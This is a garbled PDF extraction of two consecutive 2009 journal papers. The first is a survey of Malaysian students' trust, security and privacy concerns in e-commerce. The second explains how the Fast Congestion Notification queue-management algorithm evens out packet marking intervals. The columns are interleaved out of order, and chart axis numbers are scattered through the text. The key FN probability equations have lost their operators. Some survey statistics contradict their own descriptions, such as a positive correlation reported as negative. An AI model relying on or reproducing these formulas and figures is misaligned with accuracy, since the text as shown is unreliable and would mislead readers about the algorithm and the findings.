A. Descriptive Analysis 1) Information security concerns: Regarding online information security concerns, only 10.6% of the respondents agree that they would feel totally safe providing sensitive information about themselves over the Web while majority (about 57.7%) of the respondents do not believe this, and about 31.8% of the respondents remained neutral on this question. On the online payment, about 22.4% of the respondents agree that the payment information they enter online is safe and accessible only by the intended persons while majority (about 41.1%) of the respondents do not believe this. The remaining 36.5% of the respondents remained indifferent to the question. On the integrity of the online transactions, only 11.8% of the respondents believe that the information they enter online is not altered in transit while 33.0% of the respondents do not believe this. The remaining majority (about 55.3%) of the respondents remained neutral on this question. About 17.6% of the respondents agree that they would not hesitate to make purchase from the Web because of security issues of sensitive information and about 40.0% of the respondents do not agree this. The remaining 42.4% of the respondents remained indifferent to the question. Overall, about 31.8% of the respondents believe that there is an adequate control in place to ensure security of personal data transmitted during online transaction processing while about 30.6% of the respondents do not believe this, and about 37.6% of the respondents remained neutral on this question.
Before sending the questionnaires to the mass, it was pre and pilot tested through a series of informal interviews with faculty and doctoral students to ensure that they were properly operationalized. The items measures were suitably modified or adapted from extant literature. Based on pilot study with 25 master and doctoral students for comprehensiveness, clarity and appropriateness, 5 items for perceived security, 6 items for perceived privacy, 5 items for trustworthiness of Web vendors, 3 items for consumers’ perceived risk, 2 items for economic incentive, 2 items for institutional trust and 2 items for consumers’ trust were incorporated into the study instrument. In this survey, the target group of respondents were the internet savvy students. 85 full-time final year undergraduate students (50.6% males and 49.4% females) from two local universities are participated in this study. The majority of the respondents (about 98.8%) are age between 20 to 30 while remaining about 1.2% is age between 31 to 40. In term of races, about 57.6% are Malay while about 18.8% are Chinese and about 15.3% are Indian.
3
2.9
Mean
2.8
2.7
2.6
IV. DATA ANALYSIS Out of the 85 respondents, almost all the respondents (about 96.5%) report that they frequently use the internet while the remaining 3.5% seldom use the internet. The respondents did not have experience in online purchases and they were asked about the possibility of their willingness to make online purchases in the near future. About 49.4% are not willing to purchase in the near future and about 8.3% are willing to make online purchases in future. Furthermore, the
2.5
2.4
2.3 Feel safe providing info over Web
Accessible only Info is not Not hesitate to Adequate by intended altered in transit purchase for control to recipient security issues ensure security
Information Security Concerns
Figure 2. Mean of Information Security Concerns.
155
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
2) Information privacy concerns: Regarding the information misused, about 36.5% of the respondents believe that their personal information would not be misused when transacting with online companies and about 23.5% of the respondents do not believe this. The remaining 40.0% of the respondents remained neutral on the question. Regarding the control over information, about 42.3% of the respondents believe that they have control over how the information they provide will be used by online companies while about 24.7% of the respondents do not believe this. The remaining 32.9% of the respondents remained indifferent to the question. Moreover, about 31.8% of the respondents believe that they can later verify the information they provide during a transaction with online companies while about 24.7% of the respondents do not believe this. The remaining 43.5% of the respondents remained neutral on the question. In addition, only 25.9% of the respondents believe that online companies will not reveal their sensitive information without their consent while about 30.6% of the respondents do not believe this, and majority (about 43.5%) of the respondents remained neutral on this question. Regarding the effective mechanism, about 35.3% of the respondents believe that there is an effective mechanism to address any violation of the sensitive information they provide to online companies while about 20.0% of the respondents do not believe this. The remaining majority (about 44.7%) of the respondents remained indifferent to the question. Overall, about 35.3% of the respondents believe that there is an adequate control in place to protect the privacy of personal information within online companies while about 18.8% of the respondents do not believe this, and majority (about 45.9%) of the respondents remained indifferent to this question.
respondents do not believe this. The remaining 29.4% of the respondents remained neutral on the question. Regarding whether online companies are dependable, about 30.6% of the respondents believe that online companies are dependable while about 24.7% of the respondents do not believe this. The remaining 44.7% of the respondents remained indifferent to the question. Moreover, about 29.4% of the respondents believe that online companies do not have ill intensions about any of their consumers while about 31.7% of the respondents do not believe this. The remaining 38.8% of the respondents remained indifferent to the question. Overall, only 22.4% of the respondents believe that online companies are trustworthy while about 25.9% of the respondents do not believe this, and majority (about 51.8%) of the respondents remained neutral on this question. 3.25
3.2
3.15
Mean
3.1
3
2.95
2.9
2.85 Companies will Companies Companies are Do not have ill Companies are act with high have skills and dependable intension about trustworthy business expertise consumers standards
Trustworthiness of Web Vendors
Figure 4. Mean of Trustworthiness of Web Vendors.
4) Risk perception: Regarding risk perception, majority (about 48.3%) of the respondents believe that providing credit card information over the Web is unsafe while only 18.8% of the respondents do not believe this. The remaining 32.9% of the respondents remained indifferent to the question. In addition, majority (about 54.1%) of the respondents believe that it would be risky to give personal information to online companies while about 17.7% of the respondents do not believe this. The remaining 28.2% of the respondents remained indifferent to the question. Furthermore, majority (about 51.7%) of the respondents agree that there would be too much uncertainty associated with providing personal information to online companies and about 18.8% of the respondents do not agree on this. The remaining 29.4% of the respondents remained neutral on this question.
3.15
3.1
Mean
3.05
3
2.95
2.9
2.85 Info would not be misused
Control over how info will be used
Later verify info
Companies will not reveal info
Effective mechanism to address violation
3.05
Adequate control to ensure privacy
Information Privacy Concerns
Figure 3. Mean of Information Privacy Concerns. 3.52
3) Trustworthiness of Web Vendors: Regarding trust beliefs of Web vendors, about 36.5% of the respondents believe that online companies will act with high business standards while about 24.7% of the respondents do not believe this. The remaining 38.8% of the respondents remained indifferent to the question. On the skills and expertise, majority (about 48.2%) of the respondents believe that online companies have the skills and expertise to perform transactions in an expected manner and about 22.3% of the
Mean
3.5
3.48
3.46
3.44 Credit card info over Web is unsafe
Risky to give info
Uncertainty for providing info
Risk Perception
Figure 5. Mean of Risk Perception.
156
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009 TABLE I.
5) Institutional trust: Regarding institutional trust, about 55.3% of the respondents would trust to open financial account with a Bank, while about 17.6% do not agree on this and the remaining (about 27.1%) of respondents are not sure about this. Moreover, about 40.0% of the respondents would trust to open financial account with a major credit card company and only 8.2% of the respondents do not agree on this. The remaining majority (about 51.8%) of the respondents remained neutral on this question.
RELIABILITY ANALYSIS RESULTS
Items in the scale
6) Economic incentive: Regarding economic incentive, about 24.7% of the respondents agree that providing credit card information over the Web would not matter much if the prices were considerably lower while about 38.8% of the respondents do not believe this. The remaining 36.5% of the respondents remained indifferent to the question. Furthermore, about 28.3% of the respondents agree that providing credit card information over the Web would not matter much if the products/services were of a higher quality and about 29.4% of the respondents do not agree on this. The remaining majority (about 42.4%) of the respondents remained neutral on this question.
Means and SD
Alpha
Information Security Concerns
13.39 (3.03)
0.725
Information Privacy Concerns
18.35 (3.12)
0.636
Trust Beliefs of Web Vendors
15.07 (2.91)
0.660
Risk Perception
10.42 (2.20)
0.642
Economic Incentive
6.05 (1.37)
0.660
Institutional Trust
6.99 (1.63)
0.779
Consumers’ Trust
7.61 (1.66)
0.707
C. Factor Analysis Factor analysis (factor extraction as well as varimax factor rotation) was conducted to identify the underlying factors affecting consumers’ trust in e-commerce transactions. Considering all the 25 items on security and privacy of consumer’s personal information, trust and reliability of web vendors, consumer’s perceived risk, economics incentive, and institutional trust were analyzed using principal component analysis. “Total Variance Explained” shows the extent to which total variance of the observed variables is explained by each of the principal components. Initial factor extraction revealed seven components with an absolute magnitude of eigenvalue greater than 1.0. All the seven principal components together accounted for 63.596% of the total variance in the original 25 items. The results of factor analysis are shown in Table 2.
7) Consumers’ trust: On the use of more complex and advanced method, the majority (about 64.7%) of the respondents agree that their confidence to purchase online will be increased when more complex and advanced method is used to address concerns on their security and privacy while only 9.5% do not agree on this and 25.9% of the respondents remained neutral on this question. On providing all necessary guarantees to increase consumers’ confidence to adopt ecommerce, the majority (about 58.8%) of the respondents agree that their confidence to adopt e-commerce will increase when online vendors provide all necessary guarantees to ensure security and privacy of their personal information, while only 8.2% do not agree on this and the remaining (about 32.9%) of respondents are not sure about this.
TABLE II. Items SE EM LVI BS ES NHP INA NII IR DP NRI EP COI RGI CCU UC TC TB NG AM HQ LP
B. Reliability Analysis Reliability analysis was performed to assess the reliability of the scale used to measure the variables of interest. Reliability assessment of the entire scale was first computed followed by the assessments of individual items supposed to measure the research constructs. The overall reliability assessment of the entire scale was observed to be good with a Cronbach’s alpha of 0.820. A second test was conducted to assess the degree to which the items on the scale measure the hypothesized research constructs. A total of twenty five items measuring six constructs and one dependent variable (five items measuring Information Security Concerns, six items measuring Information Privacy Concerns, five items measuring Trust Beliefs of Web Vendors, three items measuring Risk Perception, two items measuring Economic Incentive, two items measuring Institutional Trust, and two items measuring Consumers’ Trust in e-commerce transactions) were assessed for reliability (See Table 1).
RESULTS OF FACTOR EXTRACTION AND FACTOR LOADING
F1 0.749 0.745 0.694 0.536 0.538
F2
F4
F5
F6
F7
0.735 0.687 0.660 0.534
Skills and expertise (SE) Later verify Info (LVI) Ensure security (ES) Info not altered (INA) Intended recipient (IR) Not reveal Info (NRI) Control over Info (COI) Credit card unsafe (CCU) Trust with company (TC) Necessary guaranties (NG) Higher quality (HQ)
157
F3
0.669 0.629 0.569 0.527 -0.780 -0.652 -0.619 0.861 0.792 0.690 0.548 0.873 0.514 Effective mechanism (EM) Business standards (BS) Not hesitate to purchase (NHP) No ill intension (NII) Dependable (DP) Ensure Privacy (EP) Risky to give Info (RGI) Uncertainty (UC) Trust with bank (TB) Advance Method (AM) Low price (LP)
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
We also found that the increase in economic incentives does not reduce a consumers’ perceived risk in online transaction. The relationship is observed to be with p = 0.484. Therefore, we reject the research hypothesis.
Most items loaded onto the extracted factors except from the some items that were conceptualized to measure the information security concerns, information privacy concerns and trust beliefs of web vendors. Item on adequate control to ensure security fairly loaded onto the factor of trust beliefs of web vendors, while the item on companies do not have ill intention about consumers slightly loaded onto the information security concerns factor. However, items on later verify info and effective mechanism to address violation of the information privacy concerns factor fairly loaded onto factor one (trust beliefs of web vendors). Also item on companies are dependable of the trust beliefs of web vendors factor loaded onto factor three. The tree items, namely, feel safe providing information over Web, information would not be misused, and companies are trustworthy had factor loading lower than 0.50.
H7: A consumer’s trust in online transaction is negatively associated with perceived risk in online transaction. The results of the study show that a consumer’s trust in online transaction is negatively associated with perceived risk in online transaction. (r = 0.388). The relationship is observed to be statistically significant with significance level less than 0.01 (p = 0.000). Therefore, we accept the research hypothesis. V.
MANAGERIAL IMPLICATIONS
The present study confirms that while consumers’ perceived security directly acts upon trust in electronic commerce transactions, consumers’ perceived privacy’s effect on trust is mediated by perceived security. Those organizations that are involved in e-commerce as well as will be involved in e-commerce are expected that to act with high business standards and to have the skills and expertise to perform transactions in an expected manner. In addition, organizations should implement effective mechanism to address any violation of the consumers’ sensitive data by placing adequate control to ensure security of personal data.
D. Hypothesis Testing Pearson correlation coefficients were computed in order to test the relationships between each factor and consumers’ trust in e-commerce transactions. H1: A consumer’s perceived security of online transaction positively contributes to his/her trust in online transaction. The correlation coefficient between consumers’ attitude towards secured online transaction and their confidence to adopt e-commerce was found to be with p = 0.545. Therefore, the research hypothesis is not accepted.
Despite the fact that all Web vendors today employ both the fair information practices and security information practices in their online transactions, consumers do not fully understand as to how the actions undertaken by Web vendors ease their risk. This may be due to a significant difference in the public perceptions and expert assessment of technology related risks. In order to enhance Web vendors’ reputation, organizations should offer education and awareness programs on the efficiency of the protection mechanisms for sharing consumers’ personal data online.
H2: A consumer’s perceived privacy of online transaction positively contributes to his/her trust in online transaction. The results of the study show that perceived privacy negatively affects the consumer’s confidence to adopt ecommerce. The relationship is observed to be r=0.002 with p = 0.986. Therefore, we reject the research hypothesis. H3: The influence of a consumer’s perceived privacy of online transaction on trust is mediated by perceived security.
VI.
The results of the study show that consumer’s perceived privacy of online transaction on trust is mediated by perceived security (r = 0.424). The relationship is observed to be statistically significant with significance level less than 0.01 (p = 0.000). Therefore, we accept the research hypothesis.
LIMITATIONS OF THE STUDY
The study has several limitations that affect the reliability and validity of the findings. The study did not take into account gender biases, cultural biases, income and other demographic variables with the research hypotheses. Further, only selected respondents participated in the study and therefore a self-selection bias might have affected the findings of this study and it may also limit the generalizability of the findings. Since sampling was based on convenience sample of students, there are chances that the responses provided might not be the true reflection of the population in general and the findings may not represent Malaysian consumers as a whole; therefore, any generalization of the findings may not be 100% reliable. The model may have excluded other possible factors influencing the consumers’ trust in e-commerce transactions (i.e., the study did not consider other beliefs, such as perceived usefulness and perceived ease of use).
H4: A consumer’s trust in online transaction is positively related with the trustworthiness of Web vendor. The correlation coefficient between the trustworthiness of Web vendor and consumers’ confidence to adopt e-commerce was found to be 0.218 with p = 0.045. Therefore, the research hypothesis is accepted. H5: The increase in institutional trust reduces consumers’ perceived risk in online transaction. We found that the increase in institutional trust does not reduce a consumers’ perceived risk in online transaction. The relationship is observed to be r = 0.148 with p = 0.176. Therefore, we reject the research hypothesis.
Future studies can also link other demographic variables of consumers as well as Web vendors’ reputation, site’s usefulness and ease of use. These dimensions may provide interesting recommendations on the difference in the consumers’ trust building mechanisms to be adopted. Further,
H6: The increase in economic incentives reduces consumers’ perceived risk in online transaction.
158
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009 [5]
Salam, A.F., Rao, H.R. and Pegels, C.C., “Consumer-perceived risk in ecommerce transactions”, Communications of the ACM, vol. 46, no. 12, pp. 325-331, 2003. [6] Ahmed, M., Hussein, R., Minakhatun, R. and Islam, R., “Building consumers’ confidence in adopting e-commerce: a Malaysian case,” Int. J. Business and Systems Research, vol. 1, no. 2, pp.236–255, 2007. [7] Dauda, Y., Santhapparaj, AS., Asirvatham, D. and Raman, M., “The Impact of E-Commerce Security, and National Environment on Consumer adoption of Internet Banking in Malaysia and Singapore,” Journal of Internet Banking and Commerce, vol. 12, no. 2, Aug 2007. [8] Khatibi, A. Thyagarajan, V. and Scetharaman, A., “E-commerce in Malaysia: Perceived benefits and barriers”, Vikalpa, Vol. 28, no.3, pp. 77-82, 2003. [9] Economist Intelligence Unit, “Overview of e-commerce in Malaysia,” The Economist, http://globaltechforum.eiu.com/index.asp?layout=printer_friendly&doc_ id =8706, 13 June 2006. [10] IDC Malaysia, “IDC Reports 70% Growth in Malaysia eCommerce Spending in 2006,” http://www.idc.com.my/PressFiles/IDC%20Malaysia%20%20eCommerce.asp, 24 January, 2007 [11] Jawahitha, S., “Consumer Protection in E-Commerce: Analysing the Statutes in Malaysia,” The Journal of American Academy of Business, Cambridge.Vol. 4, no.1/2, pp. 55-63, 2004. [12] Azmi, I.M., “E-commerce and privacy issues: an analysis of the personal data protection bill,” International Review of Law Computers and Technology, vol. 16, no. 3, pp.317–330, 2002.
future studies can also differentiate between the perceptions of consumers who have not transacted online with the perceptions of consumers who have transacted online. VII. CONCLUSIONS This study concludes that while trustworthiness of Web vendors is a critical factor in explaining consumers’ trust to adopt e-commerce, it is important to pay attention to the consumers’ risk concern on e-commerce transactions. Though in previous researches, security and privacy appear to be the top main concerns for consumers’ trust in e-commerce adoption, the empirical results indicate that there is a poor correlation between perceived security and perceived privacy with consumers’ trust. This may be because consumers get used to the Internet and to the techniques that can be used to protect themselves online, the security and privacy are becoming less sensitive matters over as time. However, the construct of perceived privacy manifests itself primarily through perceived security. As trustworthiness of Web Vendors lies at the heart of enduring B2C e-commerce relationship, web-based organizations need to find ways of improving consumers’ perception of their trustworthiness in order to utilize fully the prospective of e-commerce. REFERENCES [1]
[2]
[3] [4]
AUTHORS PROFILE Yi Yi Thaw ([email protected]) is a PhD student at the Department of Computer and Information Sciences, Universiti Teknologi PETRONAS, 31750, Tronoh, Perak, Malaysia. Dr. Ahmad Kamil Mahmood ([email protected]) is an Associate Professor at the Department of Computer and Information Sciences, Universiti Teknologi PETRONAS, 31750, Tronoh, Perak, Malaysia. Dr. P.Dhanapal Durai Dominic ([email protected]) is a Senior Lecturer at the Department of Computer and Information Sciences, Universiti Teknologi PETRONAS, 31750, Tronoh, Perak, Malaysia.
Krishnan, G., “Internet marketing exposure in Malaysia,” http://www.gobalakrishnan.com/2006/12/malaysia-internet-marketing/, 2006. Ahuja, M., Gupta, B. and Raman, P., “An Empirical investigation of online consumer purchasing behavior,” Communications of the ACM, vol. 46, no. 12, pp. 145-151, 2003. Basu, A. and Muylle, S., “Authentication in e-commerce,” Communications of the ACM, vol. 46, no. 12, pp. 159-166, 2003. Bingi, P., Mir, A. and Khamalah, J., “The challenges facing global ecommerce,” Information System Management, vol. 17, no. 4, pp.26-34, 2000.
159
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
The Uniformization Process of the Fast Congestion Notification (FN) Mohammed M. Kadhum
Suhaidi Hassan
InterNetWorks Research Group College of Arts and Sciences Universiti Utara Malaysia 06010 UUM Sintok, Malaysia [email protected]
InterNetWorks Research Group College of Arts and Sciences Universiti Utara Malaysia 06010 UUM Sintok, Malaysia [email protected]
Abstract—Fast Congestion Notification (FN) is one of the
operate by maintaining one or more mark/drop probabilities, and probabilistically dropping/marking packets even when the queue is short.
proactive queue management mechanisms that practices congestion avoidance to help avoid the beginning of congestion by marking/dropping packets before the router’s queue gets full; and exercises congestion control, when congestion avoidance fails, by increasing the rate of packet marking/dropping. Technically, FN avoids the queue overflows by controlling the instantaneous queue size below the optimal queue size, and control congestion by keeping the average arrival rate close to the outgoing link capacity. Upon arrival of each packet, FN uses the instantaneous queue size and the average arrival rate to calculate the packet marking/dropping probability. FN marks/drops packets at fairly regular intervals to avoid long intermarking intervals and clustered packet marks/drops. Too many marked/dropped packets close together can cause global synchronization, and also too long packet intermarking times between marked/dropped packets can cause large queue sizes and congestion. This paper shows how FN controls the queue size, avoids congestion, and reduces global synchronization by uniformizing marked/dropped packet intervals.
II.
Active queue management policies, such as Random Early Detection (RED), are expected to eliminate global synchronization that introduced by reactive queue management policies and improve Quality of Service (QoS) of the networks. The promised advantages of AQM are increase in throughput, reduce the delay, high link utilizations, and avoid lock-out. AQM provides preventive measures to manage the router queue to overcome the problems associated with passive queue management policies. AQM has the following attributes:
Keywords-Internet Congestion; Active Queue Management (AQM); Random Early Detection (RED); Fast Congestion Notification (FN); Packet Mark/Drop Probability
I.
ACTIVE QUEUE MANAGEMENT (AQM)
Performing a preventive random packet mark/drop before the queue is full. The probability of the preventive packet mark/drop is proportional to congestion levels.
Preventive packet mark/drop provides implicit feedback method to notify the traffic senders of the congestion onset [2]. As a reaction, senders reduce their transmission rate to moderate the congestion level. Arriving packets from the senders are marked/dropped randomly, which prevents senders from backing off at the same time and thereby eliminate global synchronization [2].
INTRODUCTION
Internet gateways’ queues are used to accommodate incoming packet and to allow the gateway enough time for packet transmission. When the arriving packet rate is higher than the gateway’s outgoing link capacity, the queue size will increase, until the gateway buffer becomes full. When the buffer is full, the newly arriving packet will be dropped.
Different packet marking/dropping strategies have different impacts on the gateway performance, including packet delays, number of dropped packets, and link utilizations. Generally, with a given AQM scheme, if a gateway drops packets more aggressively, less packets will be admitted and go through the gateway, hence the outgoing link’s utilization may be lower; but in return, the admitted packets will experience smaller delays. Conversely, if under an AQM scheme which drops packets less aggressively, the admitted packets may be queued up at the gateway, hence the admitted packets will experience larger delays. But in this case the outgoing link’s utilization may be higher, since more packets are admitted and transmitted by the gateway [3].
In the current Internet, the TCP transport protocol detects congestion only after a packet has been marked/dropped at the gateway. However, it would clearly be undesirable to have large queues that were full much of the time; this would significantly increase the average delay in the network. Hence, with increasingly high-speed networks, it is important to have mechanisms that keep throughput high but average queue sizes low [1]. Active queue management (AQM) mechanisms mark/drop packets before the gateway’s buffer is full. These mechanisms
160
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
A. Random Early Detection (RED) RED [1] is one of AQM mechanisms that requires the user to specify five parameters: the maximum buffer size or queue limit (QL), the minimum (minth) and maximum (maxth) thresholds of the "RED region", the maximum dropping probability (maxp), and the weight factor used to calculate the average queue size (wq). QL can be defined in terms of packets or bytes. A RED gateway uses early packet dropping in an attempt to control the congestion level, limit queuing delays, and avoid buffer overflows. Early packet dropping starts when the average queue size exceeds minth. RED was specifically designed to use the average queue size (avg), instead of the current queue size, as a measure of incipient congestion, because the latter proves to be rather intolerant of packet bursts. If the average queue size does not exceed minth, a RED gateway will not drop any packet. avg is calculated as an exponentially weighted moving average using the following formula:
avg i = ( 1 - wq ) × avgi-1 + wq × q
1(a)). Later on, a gentle version of RED [6] was proposed as a modification to the dropping algorithm, under which packets are dropped with a linearly increasing probability until avg exceeds 2×maxth; after that all packets are dropped (Figure 1(b)). Although maxth can be set to any value, a rule of thumb is to set it to three times minth, and less than QL [4].
(1)
where the weight wq is commonly set to 0.002 , and q is the instantaneous queue size. This weighted moving average captures the notion of long-lived congestion better than the instantaneous queue size [4]. Had the instantaneous queue size been used as the metric to determine whether the router is congested, short-lived traffic spikes would lead to early packet drops. So a rather underutilized router that receives a burst of packets can be deemed "congested" if one uses the instantaneous queue size. The average queue size, on the other hand, acts as a low pass filter that allows spikes to go through the router without forcing any packet drops (unless, of course, the burst is larger than the queue limit). The user can configure wq and minth so that a RED router does not allow short-lived congestion to continue uninterrupted for more than a predetermined amount of time. This functionality allows RED to maintain high throughput and keep per-packet delays low.
Figure 1. The packet dropping probability (pb) in RED as a function of the average queue size (maxp = 10%)
By marking/dropping packets before the buffer overflows, RED attempts to notify some connections of incipient congestion. The responsive ones will limit their sending rates and eventually the network load will decrease. The unresponsive connections will not slow down, but will continue at the same pace or even increase their sending rates. In this case, the unresponsive flows will have more packets reaching the router, effectively providing more candidates for dropping than responsive ones.
RED uses randomization to decide which packet to drop and, consequently, which connection will be notified to slow down. This is accomplished using a probability pa, which is calculated according to the following formulae: pb = maxp × (avg - minth) / (maxth - minth)
(2)
pa = pb / (1 - count × pb)
(3)
B. Fast Congestion Notification (FN) The Fast Congestion Notification (FN) [7] queue management algorithm randomly marks (if ECN) / drops (if non-ECN) the arriving packets before the buffer overflows, to effectively control the:
and
where maxp is a user-defined parameter, usually set to 2% or 10% , and count is the number of packets since the last packet mark/drop. count is used so that consecutive marks/drops are spaced out over time. Notice that pb varies linearly between 0 and maxp, while pa, i.e., the actual packet marking/dropping probability increases with count [5]. Originally, maxth was defined as the upper threshold; when the average queue size exceeds this limit, all packets have to be dropped (Figure
Instantaneous queue length below the optimal queue length to reduce the queuing delay and avoid the buffer overflows.
Average traffic arrival rate of the queue in the proximity of the departing link capacity to enable the congestion and queue length control.
FN integrates the instantaneous queue length and the average arriva1 rate of queue to compute the mark/drop
161
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
probability of the packet upon each arriving packet. The use of the instantaneous queue length in conjunction with the average queue speed (average arrival rate) can provide superior control decision criteria for an active queue management scheme [8].
To compute the initial marking/dropping probability, FN uses the average traffic arrival rate and the instantaneous queue size by
The FN linear mark/drop probability function [9] is derived based on the assumption that the arrival traffic process remains unchanged over the control time constant period of length (T) seconds. In other words, it is supposed that immediately following the packet's arrival, the traffic continues to arrive at the fixed rate of (R) bits/sec, the estimated average arrival rate to the buffer computed upon the packet's arrival, for the period of the control time constant. The buffer has a capacity of (C) bits and is served by an outgoing link at a fixed rate of (µ) bits/sec. The packet mark/drop probability (P), is computed for, and applied to, every incoming packet, based on the above assumptions, with the goal of driving the instantaneous (current) queue length (Qcur) to some desired optimal level (Qopt) over the control time constant period (T). These are shown in figure 2. The FN mark/drop probability, P, is calculated by
P
(i )
(( Ri ).T ) (Qopt Qcur )
Pini
(( R ).T ) (Qcur Qopt )
(5)
R.T
The initial marking/dropping probability is used along with the number of accepted packets between two packet marks/drops (count) by the uniformization function to calculate the final packet marking/ dropping probability as follows: Pfin
Pini 2count .Pini 1
count .Pini 2
(6)
otherwise
(4)
Ri .T
Figure 2. FN Gateway Buffer Figure 1.
III.
UNIFORMIZATION OF PACKET MARKS/DROPS
An attractive property of RED resulting from using the count variable is that the number of accepted packets between two packet marks/drops is uniformly distributed [1]. By having a uniform distribution, packet marks/drops are not clustered, avoiding again possible synchronization of TCP sources. Although quantitative benefits of having a uniform distribution were not, at the best of our knowledge, reported in the literature it is commonly admitted that having light-tailed distributions (such as the uniform distribution) gives better performance in terms of efficiency and fairness [5].
FN Uniformization Function - Pfin
Pini 2 count . Pini
Figure 3 shows that the FN uniformization function increases the value of the initial marking/dropping probability proportional to the number of the accepted packets (count) since the last marking/dropping. When count increases, the final marking/dropping probability Pfin will rise until it finally reaches 1. This means that even if the conditions at the gateway are such that P remains comparatively constant, the uniformization technique directs the marking/dropping probability towards 1, ensuring that after some number of accepted packets, the marking/dropping probability will reach 1, performing a packet marking/dropping operation. This avoids long intermarking intervals, which helps in controlling the gateway queue size effectively, and preventing congestion. From Figure 3, it is noticeable that the larger the initial marking/dropping probability, the smaller is the number of accepted packets required to direct the marking/dropping probability to 1 and hence, the less the delay before a packet mark/drop operation is activated. This is logic because a larger initial marking/dropping probability warns of the onset of congestion in near future, and therefore the
Same as RED, FN marks/drops packets at fairly regular intervals. FN uniformization technique enforces packet marks/drops at evenly spaced intervals to avoid long periods of time, where no packets are marked or dropped and clustered packet marks/drops, under the steady-state conditions at gateway. Very long packet marking/dropping times can contribute to large queue sizes and congestion. Multiple successive packet marks/drops can result in global synchronization problem.
162
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
uniformization process performs a packet mark/drop immediately, and thus, the sources are notified about the congestion early. In case count.P > 2, the final packet mark/drop probability is set to 1. This is logic because 2count.P < 0 only happens when either the number of accepted packets (count) or the initial mark/drop probability P or both are comparatively large values. A large value of count signifies that a long period of time has passed since the last packet was marked or dropped. A large value of P signifies the serious deficiency of resources at the gateway caused by congestion. In both cases, it is required to perform a packet mark/drop operation immediately. The expected packet marking/dropping time examination (E(Tm)) is used to show how uniformization process educes clustered packet marks/drops. For a predetermined initial packet marking/dropping probability Pini, if Pini is immediately applied to the arriving packets, the packet marking/dropping time (Tm) defined as the number of accepted packets between two successive marked/dropped packets, is geometrically distributed with Pini for which
The increase in the packet marking/dropping interval is more significant for larger values of the marking/dropping probability Pini. This indicates that the uniformization procedure increases the small expected packet marking/dropping times, as a result of large initial packet marking/dropping probabilities, ensuring that clustered packet marks/drops are minimized. IV.
REFERENCES [1]
p(Tm = n) = (1 - Pini)(n-1). Pini
(7) [2]
and E(Tm) = 1/Pini [1]. Nevertheless, if the final marking/dropping probability Pfin is applied to the arriving packets, the packet marks/drops interval (Tm) will be uniformly distributed with
P
Pini 2 0
n 1,
otherwise
2 Pini
CONCLUSION
This paper shows how FN uniformization process of packet intermarking intervals ensures packet drops/marks at fairly regular intervals. Avoidance of large intermarking intervals can help in controlling congestion by sending rate congestion notification signals to traffic sources in moderation on a regular basis while avoiding small intermarking intervals can help in minimizing clustered packet drops/marks and global synchronization.
[3]
[4]
(8) [5]
and E(Tm) = (1/Pini) + (1/2). Figure 4 shows the expected packet marking/dropping intervals for the geometric distribution and uniform distribution cases.
[6] [7]
[8]
[9]
S. Floyd and V. Jacobson, "Random early detection gateways for congestion avoidance," Networking, IEEE/ACM Transactions on, vol. 1, pp. 397-413, 1993. S. Leonardo, P. Adriano, and M. Wagner, Jr., "Reactivity-based Scheduling Approaches For Internet Services," in Proceedings of the Fourth Latin American Web Congress: IEEE Computer Society, 2006. L. Xue and H. Wenbo, "Active queue management design using discrete-event control," in Decision and Control, 2007 46th IEEE Conference on, 2007, pp. 3806-3811. M. Christiansen, K. Jeffay, D. Ott, and F. D. Smith, "Tuning RED for Web traffic," Networking, IEEE/ACM Transactions on, vol. 9, pp. 249-264, 2001. S. De Cnodder, O. Elloumi, and K. Pauwels, "RED behavior with different packet sizes," in Computers and Communications, 2000. Proceedings. ISCC 2000. Fifth IEEE Symposium on, 2000, pp. 793-799. S. Floyd, "Recommendation on using the ―gentle‖ variant of RED," 2000, http://www.icir.org/floyd/red/gentle.html. M. M. Kadhum and S. Hassan, "Fast Congestion Notification mechanism for ECN-capable routers," in Information Technology, 2008. ITSim 2008. International Symposium on, 2008, pp. 1-6. M. M. Kadhum and S. Hassan, "The Design Motivations and Objectives for Fast Congestion Notification (FN)," in for the Proceedings of the APAN Network Research Workshop Malaysia, 2009. M. M. Kadhum and S. Hassan, "A Linear Packet Marking Probability Function for Fast Congestion Notification (FN)," International Journal of Computer Science and Network Security, vol. 9, pp. 45-50, 2009. AUTHORS PROFILE Mohammed M. Kadhum is a lecturer in the Graduate Department of Computer Science, Universiti Utara Malaysia (UUM) and is currently attached to the InterNetWorks Research Group at the UUM College of Arts and Sciences as a doctoral researcher. He is currently pursuing his PhD research in computer networking. His current research interest is on Internet Congestion. He has been awarded with several medals for his outstanding research projects. His professional activity includes being positioned as Technical Program Chair for International Conference on Network
Figure 2. Expected Packet Marking/Dropping Times – Uniform Distribution: (1/Pini) + (1/2), Geometric Distribution: 1/Pini
From Figure 4, it is noticeable that both curves become almost parallel as Pini goes toward 1. Figure 4 verifies that for a predetermined marking/dropping probability Pini, the expected packet marking/dropping time is smaller for the geometrically distributed case compared to the uniform one.
163
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
Applications, Protocols and Services 2008 (NetApps2008), which has been held successfully in the Universiti Utara Malaysia. To date, he has published various papers including on well-known and influential international journals.
Pittsburgh, Pennsylvania (USA). He received his PhD degree in Computing (focussing in Networks Performance Engineering) from the University of Leeds in the United Kingdom. In 2006, he established the ITU-UUM Asia Pacific Centre of Excellence (ASP CoE) for Rural ICT Development, a human resource development initiative of the Geneva-based International Telecommunication Union (ITU) which serves as the focal point for all rural ICT development initiatives across Asia Pacific region by providing executive training programs, knowledge repositories, R&D and consultancy activities. Dr. Suhaidi Hassan is a senior member of the Institute of Electrical and Electronic Engineers (IEEE) in which he actively involved in both the IEEE Communications and IEEE Computer societies. He has served as the Vice Chair (2003-2007) of the IEEE Malaysia Computer Society. He also serves as a technical committee for the Malaysian Research and Educational Network (MYREN) and as a Council Member of the Cisco Malaysia Network Academy.
